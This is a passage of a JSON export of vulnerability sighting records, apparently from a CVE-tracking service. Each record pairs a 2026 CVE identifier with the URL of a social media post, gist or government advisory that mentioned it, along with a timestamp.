"vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24423", "type": "seen", "source": "https://gist.github.com/wjfthomas318-rgb/4f0d486f26823e155bf5207b68a8344e", "content": "", "creation_timestamp": "2026-02-07T00:16:03.000000Z"}, {"uuid": "51daa8ce-ff80-4743-bda0-d8155fbe80c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/fser.bsky.social/post/3meed42jmqs27", "content": "", "creation_timestamp": "2026-02-08T16:10:50.689824Z"}, {"uuid": "4005562f-9e9a-4a88-91fa-76c06abfc69a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24696", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-062-08", "content": "", "creation_timestamp": "2026-03-03T11:00:00.000000Z"}, {"uuid": "3d1c30a0-7ccd-4348-be89-555e01590c9e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24892", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mghhmxqpkv2m", "content": "", "creation_timestamp": "2026-03-07T09:00:15.032910Z"}, {"uuid": "6a5196b0-6d66-4f33-8275-66aeab541ead", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/opsmatters.com/post/3mdjnlhevin22", "content": "", "creation_timestamp": "2026-01-29T01:36:31.487619Z"}, {"uuid": "bd6b2bec-1ed1-472c-8b83-a7aa7e8ccc46", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24868", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mdjplr4yyh2g", "content": "", "creation_timestamp": "2026-01-29T02:12:30.190365Z"}, {"uuid": "55aedaea-ff0b-4d86-acc8-857cca73a3b0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-24061", "type": "seen", "source": "https://infosec.exchange/users/edwardk/statuses/116176718378065216", "content": "", "creation_timestamp": "2026-03-05T13:07:20.454010Z"}, {"uuid": "498ec996-4b85-42e0-a281-9a0eb22795d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/e-kiledjian.bsky.social/post/3mgcujwt6tk2x", "content": "", "creation_timestamp": "2026-03-05T13:07:53.643678Z"}, {"uuid": "b42e49f3-06ae-4fb4-b0b8-41d2f58174d3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24477", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mdjpm6pwfj2a", "content": "", "creation_timestamp": "2026-01-29T02:12:43.672790Z"}, {"uuid": "f5ab6e5b-1ad8-4015-8324-395ac0ddc412", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mdjqikohbn2y", "content": "", "creation_timestamp": "2026-01-29T02:28:35.686866Z"}, {"uuid": "db6c48ce-2490-4123-b725-bc066ce6a885", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24149", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-26-060/", "content": "", "creation_timestamp": "2026-02-04T05:00:00.000000Z"}, {"uuid": "9a70bba7-2acf-47b8-b4f1-9fbc77264171", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24512", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3meaeojewx72s", "content": "", "creation_timestamp": "2026-02-07T02:28:25.427820Z"}, {"uuid": "0be4fd74-149b-4e1e-9776-990aece13b07", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24423", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3meaeojewx72s", "content": "", "creation_timestamp": "2026-02-07T02:28:25.611212Z"}, {"uuid": "f1d6e6f1-5c4f-47ad-8ef0-219284b6000d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24912", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-062-07", "content": "", "creation_timestamp": "2026-03-03T11:00:00.000000Z"}, {"uuid": "b90bb2f6-be1f-4d1c-a4db-31d461459aaa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24858", "type": "seen", "source": "https://bsky.app/profile/securitylab-jp.bsky.social/post/3mdltvb2gm22n", "content": "", "creation_timestamp": "2026-01-29T22:34:47.091604Z"}, {"uuid": "2548712c-994e-410f-88d9-840a7de5e0fc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24858", "type": "seen", "source": "https://bsky.app/profile/opsmatters.com/post/3me3ddwmtod2u", "content": "", "creation_timestamp": "2026-02-05T02:21:17.043470Z"}, {"uuid": "9bc56770-b9a4-4170-8762-66fb20028c4c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24858", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mdjqikohbn2y", "content": "", "creation_timestamp": "2026-01-29T02:28:35.964320Z"}, {"uuid": "f4d5ade8-7aff-4bc5-889f-9872f525e1d9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24771", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3mdjr6g6vpas2", "content": "", "creation_timestamp": "2026-01-29T02:40:53.048715Z"}, {"uuid": "39145b90-612e-472b-8105-bb932628fdfd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24513", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3me3dqytnll2i", "content": "", "creation_timestamp": "2026-02-05T02:28:35.693172Z"}, {"uuid": "e26d5087-2883-4c51-a104-76dbe5a35e39", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24122", "type": "seen", "source": "https://gist.github.com/alon710/ee16e9aabb8895513a00d88d6dc1ac96", "content": "", "creation_timestamp": "2026-02-19T22:40:39.000000Z"}, {"uuid": "e2d1fbd2-8aa3-46d1-8e86-33907b5a9941", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24846", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mdlwavmwnc2n", "content": "", "creation_timestamp": "2026-01-29T23:17:00.381124Z"}, {"uuid": "d81559e8-3456-4f4f-a9b9-33a045e396c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24512", "type": "seen", "source": "https://bsky.app/profile/kubernetes.dev/post/3mdyhzp3oxc2p", "content": "", "creation_timestamp": "2026-02-03T23:07:04.596004Z"}, {"uuid": "092b251b-9cc8-473c-ae9f-31f36a92680c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24291", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0080", "content": "", "creation_timestamp": "2026-03-10T19:07:55.000000Z"}, {"uuid": "40210547-0ea0-4e63-9128-5a8677abef0e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24708", "type": "seen", "source": "https://bsky.app/profile/linux.activitypub.awakari.com.ap.brid.gy/post/3mfaobwwotzc2", "content": "", "creation_timestamp": "2026-02-19T22:45:36.441493Z"}, {"uuid": "26c3766b-e5ea-43af-9d95-9c7ee0e20db2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24858", "type": "seen", "source": "https://gist.github.com/wjfthomas318-rgb/28ecb4023704187aedb65c9a353b8ad4", "content": "", "creation_timestamp": "2026-02-02T00:25:52.000000Z"}, {"uuid": "fb005234-a82a-4d35-bac0-e3a2a90c1c6e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24512", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mdyj2vp4va2m", "content": "", "creation_timestamp": "2026-02-03T23:25:37.601511Z"}, {"uuid": "aaa97b7a-dec8-455c-bad7-811b502671c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24902", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mdlwzcmb642h", "content": "", "creation_timestamp": "2026-01-29T23:30:39.855370Z"}, {"uuid": "d120cbc5-e51e-4f07-a71c-11a349ae6eac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24858", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mdtseh72oi2w", "content": "", "creation_timestamp": "2026-02-02T02:28:42.668545Z"}, {"uuid": "c6e469de-e143-49d1-b30b-f42f2d16a704", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24423", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3meas4alykkd2", "content": "", "creation_timestamp": "2026-02-07T06:28:47.722331Z"}, {"uuid": "44d8c7ee-7673-4b39-a541-f756059bd9cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24002", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mdjyum2vxf2w", "content": "", "creation_timestamp": "2026-01-29T04:58:29.924157Z"}, {"uuid": "f1b5836f-53f0-4ca4-8905-849ffa895c5f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2459", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-062-02", "content": "", "creation_timestamp": "2026-03-03T11:00:00.000000Z"}, {"uuid": "c2fce2a9-6772-4fb0-b4e6-5910c2a27299", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24765", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mdjzcyky5d2v", "content": "", "creation_timestamp": "2026-01-29T05:06:32.621191Z"}, {"uuid": "92dbaee5-9afe-4b49-a0ee-efc585e6d88f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24904", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mdlxeor6k42m", "content": "", "creation_timestamp": "2026-01-29T23:37:01.256306Z"}, {"uuid": "dbc6dd8e-59a7-4b1f-8da1-fe282e099e9b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24735", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3me3hb6aky726", "content": "", "creation_timestamp": "2026-02-05T03:31:19.293438Z"}, {"uuid": "6f439c05-f18c-4d89-9494-3b743ec88e44", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2460", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-062-02", "content": "", "creation_timestamp": "2026-03-03T11:00:00.000000Z"}, {"uuid": "e091d622-8688-4185-ba34-fc4d3336cd2f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24905", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mdlxlfogi32g", "content": "", "creation_timestamp": "2026-01-29T23:40:46.745823Z"}, {"uuid": "2257efa2-da6e-4885-bfcb-d6159f647446", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24858", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3meujlaz5322w", "content": "", "creation_timestamp": "2026-02-15T02:49:19.872010Z"}, {"uuid": "8acd7607-30d5-48ad-aea4-204e6599a79f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24687", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mdlxt3apsw2c", "content": "", "creation_timestamp": "2026-01-29T23:45:07.231801Z"}, {"uuid": "2f7aae53-1f24-4b8a-a6bf-ef35f450dccc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/igalog.bsky.social/post/3me3jqxpffq2r", "content": "", "creation_timestamp": "2026-02-05T04:15:56.784199Z"}, {"uuid": "d9fa53a6-ee96-4b42-9021-f022a550ad25", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24858", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3meujov4btk2w", "content": "", "creation_timestamp": "2026-02-15T02:51:21.500244Z"}, {"uuid": "71288b8e-c4dd-4ae9-b09d-7d5aca25f823", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24294", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0080", "content": "", "creation_timestamp": "2026-03-10T19:07:55.000000Z"}, {"uuid": "858220d3-c4b7-4e3c-8801-b999c9ebae1b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/opsmatters.com/post/3mdtypk7mar2s", "content": "", "creation_timestamp": "2026-02-02T04:22:17.481157Z"}, {"uuid": "bbafc0d1-5b93-4dc5-9a03-748f388d75bd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24845", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mdlyf2fy3f2g", "content": "", "creation_timestamp": "2026-01-29T23:55:09.582490Z"}, {"uuid": "0f4f2c2c-2ce5-4a95-adec-c6c01d9316e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2472", "type": "seen", "source": "https://gist.github.com/alon710/45b7af13c07847f287b58f8853e286b0", "content": "", "creation_timestamp": "2026-02-20T23:10:40.000000Z"}, {"uuid": "5dfab149-32dc-4dd9-a2e1-f3b68a7986ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://gist.github.com/leedc0101/40ca5203a5e322ac2c8587b2324096cf", "content": "", "creation_timestamp": "2026-03-01T01:01:47.000000Z"}, {"uuid": "9280fe07-33d2-458a-a05d-77477b7ba396", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/topickapp.bsky.social/post/3melkrumkky2g", "content": "", "creation_timestamp": "2026-02-11T13:16:57.799052Z"}, {"uuid": "85b68b9c-3db2-45e3-afc0-864d019a6169", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24512", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mdytbxfvo426", "content": "", "creation_timestamp": "2026-02-04T02:28:31.739436Z"}, {"uuid": "8defea7a-75f9-4336-aee0-5674b2fefc7d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24858", "type": "seen", "source": "https://bsky.app/profile/allaboutsecurity.bsky.social/post/3mdk5ayu3a22y", "content": "", "creation_timestamp": "2026-01-29T06:17:04.412401Z"}, {"uuid": "0803fad2-b501-4be5-8374-4cbcd63606b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24423", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3meukaw5qek2w", "content": "", "creation_timestamp": "2026-02-15T03:01:27.040686Z"}, {"uuid": "97cdfc02-ac80-41d5-9f0b-9253d06ec1ce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2447", "type": "seen", "source": "https://bsky.app/profile/abighairyspider.bsky.social/post/3mfjqzhmddc2i", "content": "", "creation_timestamp": "2026-02-23T13:28:25.890957Z"}, {"uuid": "9eb8f4e6-5075-4b4f-9d6c-5398e162d34f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24858", "type": "seen", "source": "https://bsky.app/profile/keesnk.bsky.social/post/3mdk5kw6hns2t", "content": "", "creation_timestamp": "2026-01-29T06:22:36.506632Z"}, {"uuid": "4023efff-4689-4445-9f32-eae7be971336", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/securitylab-jp.bsky.social/post/3mdlzmkcuus2n", "content": "", "creation_timestamp": "2026-01-30T00:17:17.349611Z"}, {"uuid": "72517550-ef5f-4179-9acd-ecac13ec5629", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24788", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mdu47mnk5e2g", "content": "", "creation_timestamp": "2026-02-02T05:24:58.249179Z"}, {"uuid": "8c11cd05-08ea-4eff-b0e7-5866f928ed47", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24858", "type": "seen", "source": "https://bsky.app/profile/opsmatters.com/post/3mdyubbbyab22", "content": "", "creation_timestamp": "2026-02-04T02:46:01.975640Z"}, {"uuid": "48799b03-b1b7-45f2-b648-c3cb46f47f24", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3meukw357g62m", "content": "", "creation_timestamp": "2026-02-15T03:13:15.316365Z"}, {"uuid": "582d35e3-6580-436c-98c4-544cea0669a7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24858", "type": "seen", "source": "https://bsky.app/profile/opsmatters.com/post/3mdol7zbnkw2d", "content": "", "creation_timestamp": "2026-01-31T00:37:39.029370Z"}, {"uuid": "2430e2fb-fbe1-4246-82dc-76f856772221", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://gist.github.com/leedc0101/3c43c3b7d29e253d18f6b285c134a84c", "content": "", "creation_timestamp": "2026-03-05T01:01:26.000000Z"}, {"uuid": "acf4e7c4-14a9-442a-84e6-429cfa9827c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2420", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mghjo3zijs2v", "content": "", "creation_timestamp": "2026-03-07T09:36:40.544723Z"}, {"uuid": "c9c9dc96-ea9c-429d-a615-9129dd4d696b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24858", "type": "seen", "source": "https://bsky.app/profile/opsmatters.com/post/3mdoldobhb423", "content": "", "creation_timestamp": "2026-01-31T00:39:41.793736Z"}, {"uuid": "f5f295fa-27ac-49e7-90fc-4cc4156e7fbf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24936", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mdywazwxka2w", "content": "", "creation_timestamp": "2026-02-04T03:21:41.871430Z"}, {"uuid": "b75c0b4e-582a-4bf3-b79f-56c3d08f7402", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24858", "type": "seen", "source": "https://bsky.app/profile/potato.software/post/3mdomcakwmo25", "content": "", "creation_timestamp": "2026-01-31T00:56:47.647841Z"}, {"uuid": "a2b33705-51a0-4025-8c93-e93098717b65", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3meezyw6spc2l", "content": "", "creation_timestamp": "2026-02-08T23:00:42.486919Z"}, {"uuid": "a3a405d0-0be3-442f-b341-fcf99c856546", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24447", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mef244gvqc2l", "content": "", "creation_timestamp": "2026-02-08T23:02:29.013633Z"}, {"uuid": "b553070c-7f61-4408-bcb9-7a152b6d7f2c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/cybersecurity0001.bsky.social/post/3mextbip6ca27", "content": "", "creation_timestamp": "2026-02-16T10:20:48.928431Z"}, {"uuid": "5809d9e0-9a9c-46f2-913a-d02bc9e71713", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24452", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mfv3rl6has24", "content": "", "creation_timestamp": "2026-02-28T01:40:09.634049Z"}, {"uuid": "4119a66b-a953-464b-ab94-c4737999d100", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mdorfuu5sc26", "content": "", "creation_timestamp": "2026-01-31T02:28:18.153502Z"}, {"uuid": "325eb8ae-2bae-43d7-bc1b-a673b5d0aa56", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2416", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3mfof5jvx7o2b", "content": "", "creation_timestamp": "2026-02-25T09:39:17.447877Z"}, {"uuid": "2ae2b4cc-f1ba-4f5d-8796-27a3b2712153", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24466", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3menjp4nzqs2w", "content": "", "creation_timestamp": "2026-02-12T08:02:50.715678Z"}, {"uuid": "a0684192-d712-4bfc-be46-002dd4951b1a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mdmaxralej2v", "content": "", "creation_timestamp": "2026-01-30T02:28:45.207987Z"}, {"uuid": "833d6d21-aa76-46c5-bde3-a326892d7f3b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://bsky.app/profile/securityrss.bsky.social/post/3mextyuagqu2t", "content": "", "creation_timestamp": "2026-02-16T10:33:52.546419Z"}, {"uuid": "af5c1f32-bd9b-4ef0-aee3-4840014636da", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/guardian360.bsky.social/post/3mdkd2cc33s2h", "content": "", "creation_timestamp": "2026-01-29T08:00:37.995947Z"}, {"uuid": "3d08706e-b8e0-4588-b089-0a4f5962f451", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24858", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mdmaxralej2v", "content": "", "creation_timestamp": "2026-01-30T02:28:45.319226Z"}, {"uuid": "19c324a0-be93-4a9f-a2f0-ca47015b57ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-24061", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mdos2zyhxc2v", "content": "", "creation_timestamp": "2026-01-31T02:40:08.059256Z"}, {"uuid": "fa849d93-5179-415e-917e-6664297bfab1", "vulnerability_lookup_origin": 